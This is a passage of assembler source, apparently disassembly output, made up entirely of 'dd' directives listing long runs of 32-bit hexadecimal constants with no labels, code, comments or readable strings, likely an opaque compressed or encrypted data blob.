		dd 0B5B3C37Fh, 0B571AC84h, 60A80BF9h, 0D3963509h, 0FEC12A51h
		dd 956F44A5h, 5A8033B7h, 538A76DFh, 0C2DB0234h,	0F2D38030h
		dd 818022F9h, 0B96E9EBh, 4ECFE80Ch, 0C0A9A901h,	43D1F781h
		dd 0C97E4A97h, 976F3B7Fh, 0D7A00D00h, 0D629C4F1h, 122E474Ch
		dd 80B2DC2Eh, 0F072B64Eh, 9314ABDh, 0FCF8570Fh,	44AD8059h
		dd 0A620002Bh, 8B6D40Ah, 32044B2Dh, 65116F18h, 23836BAAh
		dd 647E0118h, 301B94D6h, 24408D32h, 51FEE589h, 295B929Ch
		dd 0F39A7EDCh, 0CA8A4780h
		dd 8E909356h, 0B704462Dh, 7C5E0097h, 823147B8h,	0BB503701h
		dd 6F81A420h, 8D4A586Ch, 0FFA22F92h, 0B0CE3700h, 1BF6D064h
		dd 0AEFE9E01h, 0E7ADFA6Dh, 2D12007Eh, 0F2685BCEh, 0CC4CC807h
		dd 0AA08880Fh, 3B0D09D3h, 98E333D2h, 59F909A4h,	0D2019D8Ah
		dd 6F89F5E9h, 0A3538E30h, 0C87E0F0Eh, 1B8159AFh, 6031B5ABh
		dd 652747BFh, 0F6F48161h, 406D90D2h, 0E200F3B8h, 368F934Ch
		dd 0B9A557D2h, 0B5C78E4Ah, 74601B2Fh, 2B4A4F66h, 0FA0C1400h
		dd 8A0E9736h, 2484BDBh,	61F9C66Ah, 46D6835Eh, 875F0B19h
		dd 59000457h, 0A53BBCA1h, 0C12D2A50h, 83C6DB2Ah, 0E08AC176h
		dd 2DCD124Ah, 2B6185DBh, 1589111Ah, 14F18708h, 628F20EBh
		dd 1E71D908h, 434D7504h, 4CAC5FBFh, 2F5947A3h, 973ABC90h
		dd 880FC671h, 0E6E900A7h, 1266DA58h, 0AB9764C5h, 302D3204h
		dd 9D035F01h, 0E9A864D1h, 0B33D2367h, 95F7CCC9h, 7D5A1A9Dh
		dd 0C9017B98h, 6FAF6E00h, 1C91520Eh, 42576BEh, 977CCBE8h
		dd 0F70B3C4h, 9225EBBh,	422E7179h, 88D304B1h, 8FAD5200h
		dd 52FCB720h, 98CDE2B2h, 0C49B2F32h, 205129C1h,	5D037019h
		dd 0FD2D015Fh, 0A308E62Bh, 0BB0DA059h, 0A91D1243h, 2564E367h
		dd 254CD431h, 1A9C436Eh, 80E25F40h, 7CB7DE7h, 50FD3894h
		dd 0D2D16533h, 595C5FCBh, 91F38160h, 70331336h,	38360E96h
		dd 0EAB185B7h, 89D33F0Bh, 305BD658h, 585AFB10h,	0C7819601h
		dd 1F457AE9h, 8B9A612Ah, 255C6CFEh, 0A61FC512h,	1100D6B6h
		dd 3054664Bh, 80340F98h, 0E09F69E3h, 0AE1D8781h, 760B4486h
		dd 0B00FECF4h, 623ECB12h, 5CF8CA4Ch, 1A46D614h,	1BF90271h
		dd 0DCBB2A5Bh, 0C1013746h, 1E80E3DEh, 122E3327h, 577BAB19h
		dd 4B88BB00h, 0D7817E8Fh, 0C725BE71h, 9F1CCE37h, 0C5008BB5h
		dd 0CDBD8925h, 0CB44951Ah, 0EA9D0925h, 650582B0h, 1F1F5C77h
		dd 0FAC15329h, 878B044Ah, 0E388E844h, 8F9E3E7Ah, 0A54C3C80h
		dd 7601A456h, 17A91400h, 0B3860FFAh, 5FDE258Ah,	0B131AC6h
		dd 5C58BD9Dh, 95350590h, 0ED7FFABAh, 0F7A3E5BDh, 0C7FAA0E4h
		dd 17960051h, 82C85B21h, 495FB728h, 14C85CDAh, 87E734C5h
		dd 2D96A4Ah, 0D338DA82h, 9505D8F3h, 50DE4281h, 60DC2151h
		dd 7227EE18h, 0D670E040h, 1042204Ah, 0BB965B28h, 0ECB5DD7Eh
		dd 0A2020918h, 24D0D11Eh, 0C04E6F97h, 48DCC96Fh, 0A0343A13h
		dd 7528F1Ch, 675C5EE7h,	0DE181B80h, 0CB00AEF4h,	20BA968Ah
		dd 97525328h, 776B4C14h, 9CB75D32h, 15506281h, 8778308Ah
		dd 0F79F409Eh, 4CCCE34Ah, 27975507h, 0D32178E2h, 8220C5FDh
		dd 80D7B156h, 0FFA5479Ch, 17005F1Fh, 37696F20h,	0E7ABBAEh
		dd 5B3CD95Eh, 0B094E732h, 2CF85D2h, 8A56E321h, 3D4D5FDCh
		dd 0E4607DC8h, 4B068728h, 0EAAA95B5h, 0BA00247Ah, 4CCD5DD1h
		dd 852689C4h, 53A32455h, 152D1952h, 47ED896Fh, 1304541Ch
		dd 0FA965401h, 532E3555h, 7287BDDh, 0B57BE0A9h,	0BBBC27F0h
		dd 4B65EC01h, 2600CE13h, 4FCE27Ah, 0DAED976Bh, 0EE74AAD9h
		dd 28A96BFAh, 0FAFFB860h, 0CF04FC0Ah, 9EAEC661h, 0A6BA804Bh
		dd 1C463E8Ch, 56C87195h, 2E42E129h, 90B3223Ch, 0F34D1C9Fh
		dd 0E94D65FFh, 1B6C96C0h, 5D1F8CCh, 0FF642E7h, 80220583h
		dd 0C1D481EFh, 5F723456h, 0BEE94EB5h, 0C65ED410h, 9D08D6B6h
		dd 0F627274Dh, 0B9D12F56h, 0C08C4C3Bh, 0A6C8AFF1h, 4C617122h
		dd 9025B550h, 0C3C3A67Eh, 12947E0Dh, 0F73229BDh, 0EDACE023h
		dd 4FC7C51h, 0A7AFD601h, 6E9D04BBh, 0A5CAF1Ah, 0D4238927h
		dd 48FE90BCh, 1C074BF4h, 74F9C7FDh, 2100DCEDh, 0A9AC5362h
		dd 0B75C0D3Fh, 0B7DF04E2h, 6A6C09FEh, 2E00503Dh, 0B1A956E0h
		dd 67F4121Dh, 45E25Eh, 0F56CF84Ah, 25A464B4h, 0DD9A942Fh
		dd 8160035Ch, 94B4DDBh,	7CB30C6Ah, 0AEAC0579h, 0F283002h
		dd 9A2F03Eh, 0D1FF111Bh, 0DA4BB971h, 0DCDDB492h, 39F28C01h
		dd 12ADBD33h, 2AE58D6Ah, 0FB80819Ah, 0BB900C93h, 0F9B64209h
		dd 0F84E0734h, 920BFD9Ah, 0B335B0FAh, 0D8E91219h, 0C494E20Bh
		dd 0B2166EA7h, 7C562538h, 0F781C03Fh, 0BD28AC0Fh, 0CF09A664h
		dd 7126EFE9h, 0AFE6AD56h, 3C9046A1h, 0CB7B8035h, 0F55301h
		dd 4947C031h, 0CEFC93ABh, 0CD776F01h, 50C82B6Eh, 2A00CB63h
		dd 0EFE802D6h, 0B400735Eh, 9EA2824Ah, 179209E7h, 0C890E239h
		dd 8F0630CFh, 0C515D8Dh, 2B9809A0h, 64737918h, 0C9FEF028h
		dd 0B1A6FC1Fh, 48EA48FCh, 33977434h, 7044044Dh,	0B8229774h
		dd 8E12D24Dh, 0FB6A75A4h, 137F6E3Bh, 16091D25h,	2F17F94Dh
		dd 9097977Ah, 0B4DA29h,	328FCFD3h, 0A3728794h, 8D0F1F12h
		dd 1BF7FEh, 15C0EFEAh, 4B5B7F3Ah, 0F6A985Fh, 709D3188h
		dd 629784B5h, 7A897F42h, 0AA2CDB85h, 56B47A52h,	0E0DB9DF2h
		dd 0CE9A07BEh, 0F730145Dh, 1EBA633h, 86416DBFh,	0EA99EE8Dh
		dd 90256A5Ch, 0E08B234Ah, 6C4B04E7h, 0B8EB9E7Eh, 0DE8A8477h
		dd 0F9226BB9h, 612DCE90h, 26D5126h, 336DBD2Bh, 0F8A6B5Ch
		dd 5D49838Ah, 84DDF19Ah, 8B071027h, 0D9D23D1h, 0D9E93926h
		dd 0C0C2D762h, 0D60AD5C8h, 1323EF2Dh, 5C00D5E8h, 1547D3Ah
		dd 0D64D0E86h, 85C95683h, 40A714F6h, 362B07CDh,	12B1A99Dh
		dd 0D8CE92E1h, 0F92C6FE7h, 95E91666h, 0DAD5041Dh, 0A4CDBA86h
		dd 3463222Bh, 1E195E2Bh, 0DA81E075h, 4A9D68D0h,	0A0A57DC8h
		dd 0BBFFE20h, 2950FAF4h, 0ADF91686h, 847730D0h,	77B8036Dh
		dd 2FA95A1h, 0F4FA76F5h, 0D89C3127h, 0A8415847h, 0E20ABF09h
		dd 0F9E7A71h, 0B9F51FBCh, 33B90713h, 0E1054472h, 0AB21FC4Eh
		dd 46C024F8h, 0BA3B04F7h, 5003890Fh, 0FC4E7F86h, 6FFE1652h
		dd 4A6900EBh, 705D9225h, 60C29DB2h, 195A8F29h, 0E49CED95h
		dd 0F433B8B8h, 0FC6EBFh, 0C14A6DFEh, 9ECB116h, 0F813A84Eh
		dd 0D2B6378h, 0ED15688h, 0A9DB4892h, 398D84C7h,	0B7034DCAh
		dd 711681A2h, 0BBB699C8h, 0F9195827h, 0D1C0056h, 50160E6Bh
		dd 0CEAEB94Eh, 5B717E5Dh, 6E8A5F4Bh, 0F74D31D3h, 0ABE3C87Eh
		dd 9D34BD0Eh, 29458B29h, 457C59F3h, 0ECDEA981h,	8AEE000Ch
		dd 0ED56FCBBh, 0B8709223h, 0A14029AFh, 4DEBF06h, 0EDB29091h
		dd 0FD14C5C7h, 19DAD2D7h, 0FE579580h, 5F904E25h, 0FFD90154h
		dd 1232E14Ch, 0BCE2DC9Ch, 0CC035B84h, 0C401530h, 4A89B561h
		dd 5E429259h, 0A53D5D03h, 322D3903h, 0B135987Ah, 0CF810771h
		dd 0D96FD80Fh, 0F242B571h, 7AB70102h, 0F7C48960h, 0B47470B1h
		dd 6B09DCD6h, 7089037Eh, 786D9373h, 8A3F960Eh, 4E3B8D8h
		dd 0F546952Bh, 0D3266DB9h, 589DFC42h, 0AE9649BDh, 0C5A2175Ah
		dd 857AFAAFh, 0E1B07104h, 125DEE31h, 1CD9BD44h,	1AFE2DAAh
		dd 6655C1A9h, 362CD98Eh, 0F4098713h, 192895FEh,	0F9022D1Ch
		dd 0EF6BE968h, 1E35FE7Bh, 0E7F05D16h, 157081F3h, 0FB2600D1h
		dd 0B5897671h, 3A970C21h, 603A5660h, 80E9FA8Bh,	0AC890141h
		dd 171F8DCh, 60C17EA7h,	2C1BEB81h, 66588E25h, 0C41895E6h
		dd 108812E8h, 55C0032Fh, 66D47A23h, 0DF7BC6B9h,	42D1B9D0h
		dd 0C9E63024h, 122BBD08h, 4ED0B35Fh, 7100D7A2h,	0DD8CDB4Eh
		dd 2A4B4CEBh, 0A93CD182h, 0DECCD4C3h, 0A8B9F909h, 54D45954h
		dd 4F55D41Dh, 85967609h, 0D2C1D718h, 0FD051591h, 59EA6283h
		dd 53500025h, 85B47FB7h, 90148EA7h, 42A77788h, 7EFBC39Ch
		dd 1F033371h, 8B268BA4h, 5B1E9252h, 90441825h, 9A62013Eh
		dd 0F8638C01h, 0C5A27A6Fh
		dd 0B3096A90h, 475658A3h, 6ACB12DCh, 50E8B322h,	95B613Ah
		dd 0A8F26263h, 1D4A5071h, 82531DF6h, 959EA0BEh,	6832D57h
		dd 711CF3DAh, 10AE4443h, 8101AECAh, 422B3DDFh, 4A7B2655h
		dd 9C11DB8h, 62B6185h, 0FD6E33Ch, 0BC54BB40h, 0C79F7816h
		dd 0A5BD04F8h, 88263C33h, 0BD53CE9h, 46CBC28h, 0F06B9F14h
		dd 0EB59ACA2h, 0E0B5A697h, 16979828h, 9B05B7F0h, 0D9158B5Bh
		dd 0DB808518h, 75E8044Bh, 2438FF06h, 612BE9D4h,	0F4440183h
		dd 2F213720h, 33BB6681h, 0ED2F229Eh, 64166424h,	820B84EAh
		dd 395821ABh, 91C6B5BFh, 29E08017h, 0B8BF869Ah,	5A9625F0h
		dd 0EF77FA4Ah, 781B40E5h, 45127D85h, 0EC133447h, 54129609h
		dd 0D5ED52EBh, 5CF5A04Fh, 1247220Ah, 0F0110F9Bh, 2D40B543h
		dd 754C896h, 0E7D0DB80h, 2BEF9Bh, 0C9BF663Bh, 505B5FAFh
		dd 89260ECEh, 3DA28296h, 9DB6F334h, 2CA53B09h, 939FB76Eh
		dd 0F8B3D3BDh, 2A5FFCh,	429AED57h, 8008756Bh, 531DCF25h
		dd 801D29ABh, 182295D1h, 914A1B7Fh, 8A3F9DCDh, 0A8875D1Fh
		dd 0EC8F1DA9h, 5677820Ch, 0CFC02CC6h, 42965D6Dh, 0B54F5069h
		dd 0BBC0BD4Dh, 161321DFh, 9894EFCh, 8B542BF3h, 0DCF68049h
		dd 9539AB0Bh, 0B4024C9Ah, 46562075h, 0D2B55D5Ah, 7CAA6E0Bh
		dd 58CD2F66h, 5AA2A6C1h, 0E60F859h, 34EB1203h, 4D28B74Bh
		dd 1710AC71h, 0E550238Eh, 0EAB26BA9h, 49DB9100h, 60734AE7h
		dd 4ECA9200h, 268152DEh, 0E3165AABh, 0F6F15AB3h, 9509F632h
		dd 855421A5h, 125086DEh, 0B5A18357h, 72F72A1Dh,	89BF97A1h
		dd 0FE1C0D9Ah, 3A4B711Eh, 0A5B0DFE7h, 5671FA84h, 0DE616024h
		dd 929B88A2h, 2AE6578h,	0F448C6EAh, 0A5B7E5B3h,	19801811h
		dd 80415F39h, 54FA91B7h, 70148D8h, 0FE114632h, 1159793Fh
		dd 4E6458A7h, 0C86E9B08h, 0DA7C015h, 19278529h,	69D4F12Dh
		dd 5B40074Dh, 25746E6Ch, 0DE457D6Fh, 175A1711h,	89C1CD75h
		dd 54172DD8h, 2CBF40BAh, 564AAD94h, 0E64A7B8Bh,	22E6E07Ch
		dd 4FD9014Bh, 7AB81907h, 0D88C809Bh, 0E9F537BBh, 95D7E431h
		dd 8D29C440h, 0A10F6132h, 788760C1h, 7E3A9548h,	5769224Dh
		dd 1189BD88h, 80662F03h, 0FD27BB17h, 507E03A2h,	5F68B751h
		dd 0B86AF9DCh, 0DE8A1916h, 0ACDA5F6Ah, 9DE9C0Ah, 533DE28Ah
		dd 349182DFh, 0E8828136h, 6F2B167Bh, 833A00FBh,	93401FDAh
		dd 0F5184E23h, 17A47C68h, 0A346999Dh, 0A21D5290h, 40D77CE1h
		dd 7315ABBBh, 7D69B504h, 0AEFCB641h, 6AF99009h,	3B7904FBh
		dd 9D893885h, 908AEA7Dh, 4335C15Bh, 59362AF9h, 5CD77016h
		dd 4479B2D4h, 10C4D12Bh, 600024D9h, 108F5BEh, 9D0B6109h
		dd 0F9016ACDh, 5639446Ch, 4A6A2582h, 3947F9Fh, 9953A500h
		dd 0D1212DEEh, 20CABF9Ah, 88D65583h, 5A30FAC4h,	4A018D31h
		dd 4A03A726h, 2FEE8F1h,	1CFF80E9h, 0F7F2541Eh, 0C9404DB7h
		dd 0D40B63BCh, 71F98B69h, 34F200CEh, 0F750F478h, 46E71500h
		dd 6F61A8BCh, 671895E0h, 0F21EB790h, 0B647BB50h, 0AF9A42C0h
		dd 2DBEB7A2h, 971FE4CBh, 0BAD0C47Bh, 0F7B20182h, 50423107h
		dd 20AE3A35h, 3371B311h, 2E659D17h, 0A6D298F2h,	54CAA2CBh
		dd 25EE4020h, 0C828157Eh, 6520CF8Ch, 535B2708h,	5F437790h
		dd 69306B00h, 8718DAE2h, 0CAE900B6h, 0A2A5E073h, 8100B557h
		dd 3B6809C3h, 35F5B1Ch,	70BFFF6Ah, 819DC6B8h, 3B02E921h
		dd 8BA00CF7h, 5F25B749h, 44724C7Fh, 8D108937h, 0FC8B0839h
		dd 810980F5h, 987D19E7h, 2A2D20B2h, 9271E42Fh, 374877F7h
		dd 9416CC8Bh, 95F45109h, 5F2C2F9Dh, 4558A2C4h, 237F090Fh
		dd 4AF9D7E4h, 653A7B80h, 4ABAE66Bh, 0E9A39210h,	0BF680129h
		dd 0E68B2F19h, 88E865BDh, 6397C8B6h, 0CAEFF52Ch, 1CB09FAh
		dd 9A6BFC89h, 96F9F585h, 6011C508h, 800AD381h, 30C417E8h
		dd 2B0005E5h, 5FF557C8h, 4297D1F6h, 4BB854A7h, 30170F9h
		dd 9C9E09CBh, 1ED928Bh,	796A5D44h, 0B908124Dh, 82832F26h
		dd 0A4CD98Ah, 64AE04A4h, 80A9226Dh, 0C6BD2622h,	44F19FA2h
		dd 1158E98Ah, 0B1228C1Ch, 0ABC08752h, 0D2E43098h, 8227DD2Dh
		dd 69DA7C2Bh, 0D1070459h, 0AE23D4Ah, 44A55407h,	0CF814029h
		dd 0CA5535DFh, 1420A5B6h, 5177C7FEh, 74046E2Dh,	0F393DCFAh
		dd 4C155525h, 3CFD4C9Ah, 0C0E7DB4Eh, 919CD966h,	6978C526h
		dd 0E3FFE23h, 7B001C23h, 2ADFDE85h, 8BBB1CD7h, 51A5BBD8h
		dd 80179C46h, 5F95FD3h,	0A9108190h, 6DB91D07h, 87E0FD66h
		dd 98A4C4Bh, 859856C1h,	36C6D350h, 5E4330F5h, 0F6A8E58Dh
		dd 0A6E287CDh, 0F18482F9h, 0B8C40B20h, 4504C590h, 5F7787F7h
		dd 0EF96CCA8h, 8863FE37h, 560D1302h, 0B16CF95Bh, 0C5042661h
		dd 6357EE8Dh, 0DF2DE7E6h, 0B597B54Eh, 0C496005Fh, 0E53BD8D4h
		dd 4805733Dh, 31513C9h,	0EEB470F8h, 7000FC6Ah, 22648A01h
		dd 110915D1h, 7C8F0F53h, 358C64A7h, 0FCEF85ABh,	2DCFF829h
		dd 5BB7449Eh, 0C9A27F12h, 5A08A997h, 0B5E2D5E6h, 0A99D8560h
		dd 0D0100E49h, 4BDD38ACh, 0AB7C3089h, 98A01D2h,	0F54FF9DFh
		dd 0DA7470E1h, 258A1495h, 2B54048Bh, 952F20CFh,	35BB0710h
		dd 0F2AA6BEFh, 398A8D8Eh, 0CCD58843h, 411638FEh, 307A044Eh
		dd 0E75FF61Fh, 0EF8C4FFBh, 0B5DFCEC5h, 0C1959CF2h, 0C97E2601h
		dd 0C81E7B65h, 545B99F2h, 4EFA9159h, 72FAB2C5h,	9B87DA1Ch
		dd 765AD2C3h, 9116357Fh, 0C439801Ah, 166A52B1h,	89506123h
		dd 695DFC7Fh, 1E191509h, 7D44EADEh, 5ED4DF1Ah, 0FE308B2Fh
		dd 2BB6009h, 0AFB66DF6h, 0B285290Fh, 0AF68AE40h, 97C34E88h
		dd 93185C10h, 7B163B03h, 0E9ACA4D3h, 0EC984E9h,	0EA230510h
		dd 861CF907h, 0E0705BF2h, 778D1635h, 0F880BDFEh, 3CD07B50h
		dd 9E2F299Ch, 237953Ah,	800D393Eh, 69D3AE2Ch, 49909BFh
		dd 6BE9283Bh, 927AAB02h, 8FE03D00h, 54FDB0BDh, 6DD08112h
		dd 660680A3h, 0D44725BBh, 61DAD95Fh, 28C01DC8h,	315A9D2h
		dd 0D397A1D9h, 0B2E5C740h, 8ED4002Bh, 815C9ADFh, 895B4A08h
		dd 699B3AAEh, 770C7FC0h, 5F5F5660h, 6A2A81DDh, 0C26B009Ch
		dd 0A1DDB2A0h, 0C8815F73h, 0D814B919h, 769899E6h, 0F0E90C01h
		dd 3775A810h, 1D7E43Ah,	0BD7764BFh, 0C482B4E2h,	2B6667C7h
		dd 0FEDA400Bh, 22A2FBB2h, 0B7D4F510h, 0C41C5F4Bh, 606EEF8Bh
		dd 0A6138301h, 7A14BD4Bh, 6ADE8B20h, 0D8930047h, 0CE838EB0h
		dd 964879A4h, 0AE884FBCh, 84F900C2h, 0E44508DEh, 0D50E68C1h
		dd 895BEC4Ch, 0A8A7FEDDh, 0A7F52F1Dh, 6DF0F69h,	2E28B404h
		dd 4708402Bh, 5361E9C1h, 5F449A34h, 96574B6Ah, 4DC85F4h
		dd 0DE9D8078h, 0B1BE81E7h, 2F742B35h, 4A7EE8F8h, 6331CA14h
		dd 8C6050B1h, 61C88CAEh, 0C9565BAAh, 5AC95F47h,	8FBB0749h
		dd 9E0DBE79h, 0EC32BA12h, 3B55465Ah, 6EDF67B7h,	2AF7001Fh
		dd 7AEFC43Fh, 9ABC12F8h, 4842B39Bh, 0BF7922E8h,	0BB045C44h
		dd 0AEFEA7Ch, 0A0F4E1F6h, 154AD531h, 6BD209E2h,	54A200FAh
		dd 5609131Ch, 0D7049790h, 0F30C1612h, 9F610D15h, 80792BFBh
		dd 616B03D1h, 8923E3C7h, 542F796Ah, 0D6EDDA2Ch,	73CC2049h
		dd 9F78149h, 192FBC20h,	4D45A851h, 0F36D4ACCh, 7B5DE901h
		dd 6313697Bh, 5DABE00Bh, 5EB23D4Eh, 0F543E300h,	4CD19BA1h
		dd 811A800h, 0C6C02A3Eh, 0A0F90266h, 31384B03h,	25D0BE8Eh
		dd 74BA675Bh, 0D42BBEh,	0BA55D1E2h, 0F3213FEDh,	0D98B5716h
		dd 0EEB8F7FDh, 5532B604h
		dd 0B5ACF99Dh, 6804CDA1h, 123A949Bh, 9DE321EDh,	6F2DB78Dh
		dd 1A23926Bh, 48B38B00h, 4B93BABBh, 0D789C8DDh,	0BDE67400h
		dd 0E1AF641h, 14C93A17h, 2C6D481h, 2BF88278h, 7A99C434h
		dd 0C8B99A7Eh, 0E020C01Ch, 16745E48h, 0F6C82E27h, 4AEB04DBh
		dd 8957C5DAh, 0D90C89D9h, 69B3591Bh, 9740804Dh,	2D83C8E2h
		dd 3DDCADA0h, 0EDBD0303h, 29600926h, 0A9C0D595h, 0BF3C5196h
		dd 1E170BB3h, 604ADC5Fh, 0A921556Eh, 0BA005A75h, 594F4BC8h
		dd 1AB4549h, 0EA0DB52Fh, 7696E123h, 780DF04Fh, 8774C37h
		dd 0B6242917h, 3015F296h, 0C0B52964h, 4A0D1C5Bh, 4FB4A761h
		dd 0AA8201DAh, 0CA5F9D89h, 510AA8B4h, 233A13F4h, 4F05BC09h
		dd 15F2D1E6h, 0CFA07130h, 0FFB239A4h, 0E12B4273h, 0AC1431F5h
		dd 2DCC944Eh, 0FE7D6249h, 1B46D69Eh, 0D3178800h, 36C789C0h
		dd 10681A48h, 0C45A0B45h, 5058AC62h, 1A4F053Eh,	0E64FC2F6h
		dd 0CA6FA091h, 79E50119h, 891A88B4h, 22D56E8Dh,	23776BFBh
		dd 0B680071Bh, 0E676502Ch, 0CBF0FC1Fh, 12CE8F58h, 80E21441h
		dd 0A868ADD2h, 0B06AF8AEh, 0AFED1E5Dh, 0BF66C31Dh, 0F6DC7042h
		dd 0F5A5F204h, 54BEBD00h, 0B52529A3h, 0A535FAC5h, 349858ADh
		dd 0D17E3390h, 0FE05EBEh, 96FEBFh, 37E3A3BBh, 60565035h
		dd 0FE5CB62Fh, 0ED5F1FB8h, 9F00DE37h, 0B82BFE65h, 40DE0B0Ch
		dd 155E0918h, 1DB50141h, 88D21F32h, 39094C1Bh, 7151AD54h
		dd 0D0822397h, 2EB1E1BBh, 480D7380h, 733F2445h,	0B19E001Eh
		dd 7735C364h, 0E0710893h, 45A81497h, 57C202Dh, 72961340h
		dd 4A37BF50h, 2569B20Fh, 0C205E616h, 846695DDh,	0C5D94F66h
		dd 0AC72FD3Fh, 0AB018C1Ah, 0BBDD5CF6h, 0B85C9939h, 0D37E8810h
		dd 0FE8BF92Fh, 6F567AB6h, 4602806Ah, 5C17302Ch,	0C2985154h
		dd 47874F77h, 0DC808EEAh, 9D57DA0Bh, 0D75A9095h, 8A4E27BEh
		dd 0E5AFDADBh, 0C6B75046h, 40B4EFBFh, 0E8E57026h, 0E90A44h
		dd 0C212715Fh, 230DE401h, 3B63F255h, 57C600EEh,	0CA9E4FFAh
		dd 69AE6209h, 6FD5715Fh, 45659505h, 0FEBCE9BBh,	306F5316h
		dd 0FCA75A00h, 9D088602h, 4193D62Fh, 8D6A32A4h,	466A2B80h
		dd 10B37300h, 0BA59B95h, 0DF8BCD12h, 602DF3E3h,	0F10866D6h
		dd 61590B25h, 44FB807Dh, 3902EA9h, 0B6B05260h, 0F7B75158h
		dd 0C050275Bh, 0F6D8D09h, 0FC23BEh, 0BCDC7DF2h,	23D8B1Eh
		dd 2D7CFD4Dh, 8042376Ah, 11A7459Dh, 0EA0BB36Dh,	6832CC29h
		dd 2C9885D4h, 0ADA1168Ch, 0CD5668EAh, 2450FE8Fh, 70FF0C86h
		dd 0E733E677h, 373C840Bh, 0CD0F62ABh, 1BAE17Dh,	5BE47A9Dh
		dd 8B53976Ah, 0E8EF178h, 0A199CBBFh, 0A080F712h, 4AFA82B2h
		dd 160AC2CCh, 6EBF2FE6h, 6B5979Eh, 3C319901h, 342FBEB3h
		dd 2688BB2Ah, 79DB1FE1h, 0ADE24012h, 3BC0955Fh,	146ACD00h
		dd 2EF7812Dh, 4818176Bh, 0B34FE5Bh, 9D0B40B8h, 5854348Dh
		dd 702FB671h, 7DA0B328h, 0B9D8B200h, 6AFC81F9h,	0DCD69602h
		dd 85FD1300h, 880F0D20h, 0A11951Ch, 77A81416h, 0ACCC4380h
		dd 0C2077DF0h, 0FC6D9072h, 0A1282E00h, 21CD25D0h, 2AAAF558h
		dd 7772E273h, 7F527656h, 189186B5h, 9E1D409Ch, 5660CFC8h
		dd 52DD4BCh, 0B194A9A1h, 0C0F71583h, 713BC1BEh,	0EAC7BFE9h
		dd 0B8CA208h, 4F00BEB7h, 669F383Dh, 718D8909h, 8D377F2Eh
		dd 0F0801A91h, 0F42E14FDh, 6013FE7Fh, 51A4B589h, 0A773B761h
		dd 7F0B4081h, 0C2F79037h, 89B87F0Eh, 960EF406h,	182B07Ch
		dd 60506974h, 0ABE1842Ah, 0CD0E756Fh, 52A0A9A7h, 91961333h
		dd 0A8BB6609h, 25F27BD4h, 0FB890060h, 80F7B097h, 0CD5A4BEFh
		dd 99232EC8h, 6658C037h, 9E0A12Bh, 0ED29AE3Bh, 4A22206Eh
		dd 3BEEEC7Eh, 0A8FADB9Dh, 1D8D2C0Bh, 9BFF44D9h,	0B25C04Ah
		dd 0D8094Dh, 3CDF60D6h,	0BD235240h, 0C6126D5Ah,	0ED1336E8h
		dd 0E8C7E905h, 4897D72h, 57BF66B3h, 36CCFB49h, 0C5B51731h
		dd 0A215FC34h, 7A022917h, 0B0050AFDh, 0ACC7B001h, 1A9670E6h
		dd 95E1A46Dh, 0E4279162h, 0E77171h, 0EBCC906Bh,	0F7002F5Dh
		dd 2E29EC5Ah, 27F2AB7h,	3105877Dh, 0CF5EC8F0h, 825BDB91h
		dd 0CC5F27B1h, 4398FEE6h, 70F44BBAh, 256590C1h,	0C6E421ADh
		dd 2AF942C4h, 298FC6BCh, 651EC92Eh, 1709957h, 4A4BBD2Bh
		dd 448768A0h, 0E72D8003h, 25D65293h, 3CF4E9F9h,	0B09B962h
		dd 29DDE109h, 7989846h,	2DEB2F80h, 0B51009FAh, 924B2E39h
		dd 282A11C6h, 7F0C090Bh, 0B5CB88B3h, 888AAFBDh,	8E25C85Ah
		dd 437EAB00h, 0BABF42E6h, 0ED773A8Fh, 605FD500h, 88EFB866h
		dd 215E2364h, 0C5796109h, 0B1502511h, 0E7AEC131h, 40A58342h
		dd 2BB3FE35h, 6F01EFA2h, 0C5A1B9BFh, 4E9ED424h,	3097F198h
		dd 830E44C1h, 835B5619h, 572EC9F8h, 346FABACh, 0C1618201h
		dd 3A661343h, 0B4F89712h, 609B8C4Bh, 80E87BB7h,	8B7FCDE3h
		dd 1154F595h, 642FB980h, 400EEF07h, 996FD073h, 4F8F8202h
		dd 0DC7D8589h, 0FCE1898Eh, 0DC4774h, 0FC9E28C5h, 238767BBh
		dd 0F4134D4Eh, 0FAE888ADh, 735D316h, 2B120CE3h,	0E023B6D2h
		dd 1D11143h, 5078206Ah,	2F2604CBh, 0BD42E93Dh, 0C1BF25EDh
		dd 0C50D2C9Ah, 0EFCD5888h, 6FB3974Ah, 6944FCCCh, 8FCB044Bh
		dd 3FD6ED7h, 5E9BD8B4h,	77A68947h, 0F2F79A84h, 0A296BC1Eh
		dd 32BDFF7Bh, 0FAAB2A82h, 8918427Bh, 291455EAh,	0BB17F305h
		dd 0FD6B50DCh, 94091523h, 6CD87E90h, 255F0974h,	0E54C46F7h
		dd 16AAEFC0h, 7C02E054h, 0FF47F2DAh, 0F57162E1h, 0CF5C1ECAh
		dd 97A4A751h, 0FE2B920Fh, 0C2AF6C38h, 40C38027h, 6951C35Eh
		dd 60FC2189h, 0E170D5FBh, 0A33E00B3h, 1D36808Bh, 0E60E913h
		dd 0B4996923h, 186E0368h, 88726ABBh, 0CAA6C5A9h, 89FA2FFFh
		dd 0A4455607h, 261E20CAh, 101C0960h, 67AC4E02h,	93A0FCD3h
		dd 0F63D52ABh, 0C6C1E4C9h, 372EFFB7h, 0BC51843Bh, 0FE22D9EFh
		dd 13C047Bh, 0C82A147h,	0B80730DDh, 2739115Bh, 8C4C8CCEh
		dd 0EB810752h, 0D4E3D736h, 0A6B8AC5Fh, 8BB71A4Eh, 0B1C15C6Eh
		dd 0A74ADF34h, 0DC001EE2h, 0E5853077h, 51004ADDh, 6C57E343h
		dd 0BF00CEAh, 0C306BD1Dh, 0C4C4D789h, 429F3500h, 0EB23947Eh
		dd 2961011Ah, 0E5EFF549h, 34272EFFh, 4A098B57h,	0F7365807h
		dd 25CC6E7Eh, 0A1660227h, 2E40A13h, 616CF8E8h, 46D69C56h
		dd 722F0916h, 9D29D09Bh, 16006BEEh, 0D833D1B8h,	1631EB50h
		dd 8BC5FFEh, 0BF0101E2h, 37F925FBh, 81F2302Fh, 301223D7h
		dd 0F1F1713Bh, 9767B6Fh, 791E4034h, 0BBC6A5DCh,	979B5D9Fh
		dd 42351E1h, 6BA59DBEh,	0D1CBBC7h, 0BAFB9746h, 0C265757Ah
		dd 8B273128h, 4BFFF9D8h, 0EA70C67Bh, 31B00B21h,	0A58FFB5h
		dd 25667548h, 81F25EBDh, 5A1B8768h, 740EFF14h, 0EB451878h
		dd 4517DE0Bh, 856AAB8Dh, 0DF001D23h, 52C7F511h,	6D9401D0h
		dd 53906EB8h, 0C671E650h, 119779A8h, 9EC00CE6h,	74CD0075h
		dd 6E5C3904h, 0BB13AE24h, 0AEB1BC90h, 8AD8062Eh, 4CBD3CDEh
